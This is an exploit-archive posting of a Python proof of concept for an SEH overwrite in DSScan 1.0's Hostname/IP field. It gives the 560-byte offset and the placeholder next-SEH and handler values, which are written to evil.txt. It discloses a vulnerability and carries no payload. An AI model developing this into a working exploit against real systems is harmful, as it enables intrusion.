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DSScan 1.0 SEH Overwrite Proof Of Concept

DSScan 1.0 SEH Overwrite Proof Of Concept
Posted Aug 18, 2017
Authored by Anurag Srivastava

DSScan version 1.0 Hostname / IP field SEH overwrite proof of concept exploit.

tags | exploit, proof of concept
MD5 | f87d80f851cc2e46db1143906609c748

DSScan 1.0 SEH Overwrite Proof Of Concept

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#!/usr/bin/python
# Exploit Title : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by : Anurag Srivastava
# Email : anurag.srivastava@pyramidcyber.com
# Website : http://pyramidcyber.com/
# Discovery Date : 18/08/2017
# Software Link : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows 10 Home x64
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address SE handler
#0019F900 43434343
#42424242 *** CORRUPT ENTRY ***


# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()

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